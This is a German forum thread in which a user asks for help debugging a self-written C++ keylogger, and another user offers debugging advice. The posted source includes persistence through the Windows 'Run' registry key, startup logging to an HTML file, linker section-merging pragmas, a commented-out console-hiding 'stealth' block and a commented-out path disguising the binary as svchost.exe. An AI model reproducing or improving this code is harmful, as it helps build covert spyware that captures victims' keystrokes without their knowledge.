Keylogger in c++: frage

hallo zusammen,

ich habe einen keylogger in c++ geschrieben. teile des keyloggers habe ich irgendwo aus dem netz. teile davon sind von mir.

probleme habe ich bei dem autostart, den ich selber programmiert habe. ich möchte, dass das programm den pfad, in dem es sich befindet ausfindig macht, und einen eintrag in die registry macht, so dass das programm beim systemstart ausgeführt wird. hier der code:
Code:
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    PSTR szCmdLine, int iCmdShow)

{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    char str[MAX_PATH]; 
 
GetModuleFileNameA(NULL,str,MAX_PATH); 
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
create=create_key(str);          
}   

struct tm *systime;
time_t sec;
time(&sec);
systime = localtime (&sec);
FILE *file;
file=fopen("k3ys.html","a+");
fputs("<font  color='green'>",file);
fputs(asctime(systime),file);
fputs("</font><br><font  color='blue'>",file);
fclose(file);


}


int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
    
    reg_key=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        
           
    reg_key=RegQueryValueEx(hKey,"k3ys",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
         
    RegCloseKey(hKey);
    return check;   
}
   
int create_key(char path[])
{   
        int reg_key,check;
        
        HKEY hkey;
        
        reg_key=RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"k3ys",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
                
        return check;
}
soweit klappt auch alles: der pfad wird in die registry geschrieben und beim neustart wird das programm ausgeführt, jedenfalls steht der prozess im taskmanager.

PROBLEM: beim neustart wird nichts in die datei geschrieben, das soll aber das programm machen. obwohl der prozess läuft, wird nichts in die datei geschrieben!!

hat jemand eine ahnung woran das liegen könnte??

danke und gruß

edurne
 
nein, daran liegt es leider nicht.

ich habe den code mal angepasst und übergebe mit fopen den genauen pfad, in welchen die datei erstellt werden soll.

trotzdem wird nichts in die datei geschrieben bzw wird die datei nicht erstellt, nachdem der rechner neu gestartet wird.

hat vielleicht jemand noch eine idee??

hier ist der vollständige von mir angepasste code:

Code:
#pragma comment(linker, "/MERGE:.rdata=.data")

#pragma comment(linker, "/MERGE:.reloc=.data")

#pragma comment(linker, "/MERGE:.text=.data")

#pragma comment(linker, "/IGNORE:4078")

#pragma comment(linker, "/FILEALIGN:16")

#pragma comment(linker, "/ALIGN:16")

#pragma optimize("gsy", on)

// End Optimization


#define _WIN32_WINNT 0x0400

#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <direct.h>
#include <string.h>
#include <conio.h>


/*#include <winuser.h>
#include <string.h>
#include <windowsx.h>
#include <winsock.h>
#include <stdlib.h>*/

#pragma comment(lib, "ws2_32.lib")

// Global Hook handle
HHOOK hKeyHook;

char Windir[MAX_PATH];
char Module[MAX_PATH];
char FileName[MAX_PATH];

void GetCurrentPath(char* buffer);

char dateStr [9];
char timeStr [9];



#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


//#define FileName "C:/log.txt"
#define waittime 100


//#define cemailsubject "The Log Dude"
#define LogLength 1000
 
 
int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
    
    reg_key=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        
           
    reg_key=RegQueryValueEx(hKey,"k3ys",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
         
    RegCloseKey(hKey);
    return check;   
}
   
int create_key(char path[])
{   
        int reg_key,check;
        
        HKEY hkey;
        
        reg_key=RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"k3ys",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
                
        return check;
}



int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    PSTR szCmdLine, int iCmdShow)
//int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    char str[MAX_PATH]; 

	
/*HWND stealth; 
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);*/





 
GetModuleFileNameA(NULL,str,MAX_PATH); 
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
//char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
create=create_key(str);          
}   

MessageBox (NULL, str , "testi installed in this path!", 0);     
        
        
	//GetModulepathName(FileName, sizeof(FileName));
	getcwd(FileName, _MAX_PATH);
	strcat(FileName, "\\testi.html");

MessageBox (NULL, FileName , "testi.html lies here!", 0); 
	
struct tm *systime;
time_t sec;
time(&sec);
systime = localtime (&sec);
FILE *file;
file=fopen(FileName,"a+");
fputs("<font  color='green'>",file);
fputs(asctime(systime),file);
fputs("</font><br><font  color='blue'>",file);
fclose(file);

	

}

könnt ihr denn das gleiche phänomen beobachten, wenn ihr den code compiliert und es testet??

hat noch jemand eine vermutung woran das liegen kann?

danke+grüße

edurne
 
Eigentlich brauchst du ja zunächst (zum Testen) nur GetModuleFileNameA und deine create Key funktion.
Ich würde erstmal das ganze Testkey Zeugs und so weglassen und nochmal probieren, denn CreateKey und GetModule... gehn bei mir einwandfrei.
Wenns dann geht liegts an TestKey.
Generell bei Fehler Programm immer weiter vereinfachen, solange bis es geht und dann wieder komplexer machen.

MFG
Ace
 
Zurück
Oben